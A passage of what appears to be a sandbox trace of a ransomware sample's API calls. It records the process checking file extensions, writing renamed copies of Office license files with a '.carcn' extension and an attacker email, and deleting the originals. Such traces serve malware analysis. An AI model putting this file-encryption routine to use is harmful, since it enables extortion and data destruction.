returned -1 [0287.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0287.865] lstrlenW (lpString=".zip") returned 4 [0287.865] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.866] lstrlenW (lpString=".rar") returned 4 [0287.866] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.866] lstrlenW (lpString=".bz2") returned 4 [0287.866] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.866] lstrlenW (lpString=".7z") returned 3 [0287.866] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0287.866] lstrlenW (lpString=".dbf") returned 4 [0287.866] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0287.866] lstrlenW (lpString=".1cd") returned 4 [0287.866] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0287.866] lstrlenW (lpString=".jpg") returned 4 [0287.866] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.866] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0287.866] lstrlenW (lpString="HomeStudentR_Retail-ul-oob.xrm-ms") returned 33 [0287.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.867] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11604) returned 1 [0287.867] CloseHandle (hObject=0x564) returned 1 [0287.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms")) returned 0x220 [0287.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.868] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.868] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0287.869] GetLastError () returned 0x0 [0287.869] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d54, lpOverlapped=0x0) returned 1 [0287.892] WriteFile (in: hFile=0x56c, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0287.893] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.893] WriteFile (in: hFile=0x56c, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x116, lpOverlapped=0x0) returned 1 [0287.893] SetEndOfFile (hFile=0x56c) returned 1 [0287.894] CloseHandle (hObject=0x56c) returned 1 [0287.894] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.894] SetEndOfFile (hFile=0x564) returned 1 [0287.899] CloseHandle (hObject=0x564) returned 1 [0287.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms")) returned 1 [0287.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0287.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0287.900] lstrlenW (lpString=".doc") returned 4 [0287.900] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.900] lstrlenW (lpString=".docx") returned 5 [0287.900] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.900] lstrlenW (lpString=".pdf") returned 4 [0287.900] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.900] lstrlenW (lpString=".xls") returned 4 [0287.900] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.900] lstrlenW (lpString=".xlsx") returned 5 [0287.901] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.901] lstrlenW (lpString=".ppt") returned 4 [0287.901] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0287.901] lstrlenW (lpString=".zip") returned 4 [0287.901] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.901] lstrlenW (lpString=".rar") returned 4 [0287.901] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.901] lstrlenW (lpString=".bz2") returned 4 [0287.901] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.901] lstrlenW (lpString=".7z") returned 3 [0287.901] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0287.901] lstrlenW (lpString=".dbf") returned 4 [0287.901] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0287.901] lstrlenW (lpString=".1cd") returned 4 [0287.901] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0287.901] lstrlenW (lpString=".jpg") returned 4 [0287.901] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0287.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0287.901] lstrlenW (lpString=".doc") returned 4 [0287.901] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.902] lstrlenW (lpString=".docx") returned 5 [0287.902] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.902] lstrlenW (lpString=".pdf") returned 4 [0287.902] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.902] lstrlenW (lpString=".xls") returned 4 [0287.902] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.902] lstrlenW (lpString=".xlsx") returned 5 [0287.902] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.902] lstrlenW (lpString=".ppt") returned 4 [0287.902] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0287.902] lstrlenW (lpString=".zip") returned 4 [0287.902] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.902] lstrlenW (lpString=".rar") returned 4 [0287.902] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.902] lstrlenW (lpString=".bz2") returned 4 [0287.902] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.902] lstrlenW (lpString=".7z") returned 3 [0287.902] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0287.902] lstrlenW (lpString=".dbf") returned 4 [0287.902] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0287.902] lstrlenW (lpString=".1cd") returned 4 [0287.902] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0287.902] lstrlenW (lpString=".jpg") returned 4 [0287.903] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.903] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0287.903] lstrlenW (lpString="HomeStudentR_Trial-pl.xrm-ms") returned 28 [0287.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.904] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11163) returned 1 [0287.904] CloseHandle (hObject=0x564) returned 1 [0287.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms")) returned 0x220 [0287.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.905] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.905] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0287.906] GetLastError () returned 0x0 [0287.906] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x2b9b, lpOverlapped=0x0) returned 1 [0288.331] WriteFile (in: hFile=0x56c, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0288.332] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.332] WriteFile (in: hFile=0x56c, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x10c, lpOverlapped=0x0) returned 1 [0288.333] SetEndOfFile (hFile=0x56c) returned 1 [0288.333] CloseHandle (hObject=0x56c) returned 1 [0288.333] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.333] SetEndOfFile (hFile=0x564) returned 1 [0288.336] CloseHandle (hObject=0x564) returned 1 [0288.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.337] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms")) returned 1 [0288.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0288.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0288.338] lstrlenW (lpString=".doc") returned 4 [0288.338] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0288.338] lstrlenW (lpString=".docx") returned 5 [0288.338] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0288.338] lstrlenW (lpString=".pdf") returned 4 [0288.338] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0288.338] lstrlenW (lpString=".xls") returned 4 [0288.338] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0288.338] lstrlenW (lpString=".xlsx") returned 5 [0288.338] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0288.338] lstrlenW (lpString=".ppt") returned 4 [0288.339] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0288.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0288.339] lstrlenW (lpString=".zip") returned 4 [0288.339] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0288.339] lstrlenW (lpString=".rar") returned 4 [0288.339] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0288.339] lstrlenW (lpString=".bz2") returned 4 [0288.339] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0288.339] lstrlenW (lpString=".7z") returned 3 [0288.339] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0288.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0288.339] lstrlenW (lpString=".dbf") returned 4 [0288.339] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0288.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0288.339] lstrlenW (lpString=".1cd") returned 4 [0288.339] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0288.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0288.339] lstrlenW (lpString=".jpg") returned 4 [0288.339] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0288.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0288.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0288.339] lstrlenW (lpString=".doc") returned 4 [0288.339] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0288.340] lstrlenW (lpString=".docx") returned 5 [0288.340] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0288.340] lstrlenW (lpString=".pdf") returned 4 [0288.340] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0288.340] lstrlenW (lpString=".xls") returned 4 [0288.340] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0288.340] lstrlenW (lpString=".xlsx") returned 5 [0288.340] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0288.340] lstrlenW (lpString=".ppt") returned 4 [0288.340] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0288.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0288.340] lstrlenW (lpString=".zip") returned 4 [0288.340] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0288.340] lstrlenW (lpString=".rar") returned 4 [0288.340] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0288.340] lstrlenW (lpString=".bz2") returned 4 [0288.340] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0288.340] lstrlenW (lpString=".7z") returned 3 [0288.340] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0288.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0288.340] lstrlenW (lpString=".dbf") returned 4 [0288.340] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0288.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0288.340] lstrlenW (lpString=".1cd") returned 4 [0288.340] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0288.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0288.341] lstrlenW (lpString=".jpg") returned 4 [0288.341] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0288.341] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0288.341] lstrlenW (lpString="HomeStudentR_Trial2-ul-oob.xrm-ms") returned 33 [0288.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0288.342] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11620) returned 1 [0288.342] CloseHandle (hObject=0x564) returned 1 [0288.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms")) returned 0x220 [0288.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0288.343] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.343] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0294.054] GetLastError () returned 0x0 [0294.054] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d64, lpOverlapped=0x0) returned 1 [0294.226] WriteFile (in: hFile=0x3f4, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0294.227] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.227] WriteFile (in: hFile=0x3f4, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x116, lpOverlapped=0x0) returned 1 [0294.228] SetEndOfFile (hFile=0x3f4) returned 1 [0294.228] CloseHandle (hObject=0x3f4) returned 1 [0294.228] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.229] SetEndOfFile (hFile=0x564) returned 1 [0294.231] CloseHandle (hObject=0x564) returned 1 [0294.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms")) returned 1 [0294.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0294.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0294.233] lstrlenW (lpString=".doc") returned 4 [0294.233] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0294.233] lstrlenW (lpString=".docx") returned 5 [0294.233] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0294.233] lstrlenW (lpString=".pdf") returned 4 [0294.233] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0294.233] lstrlenW (lpString=".xls") returned 4 [0294.233] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0294.233] lstrlenW (lpString=".xlsx") returned 5 [0294.233] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0294.233] lstrlenW (lpString=".ppt") returned 4 [0294.233] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0294.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0294.234] lstrlenW (lpString=".zip") returned 4 [0294.234] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0294.234] lstrlenW (lpString=".rar") returned 4 [0294.234] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0294.234] lstrlenW (lpString=".bz2") returned 4 [0294.234] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0294.234] lstrlenW (lpString=".7z") returned 3 [0294.234] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0294.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0294.234] lstrlenW (lpString=".dbf") returned 4 [0294.234] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0294.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0294.234] lstrlenW (lpString=".1cd") returned 4 [0294.234] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0294.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0294.234] lstrlenW (lpString=".jpg") returned 4 [0294.234] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0294.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0294.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0294.234] lstrlenW (lpString=".doc") returned 4 [0294.234] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0294.234] lstrlenW 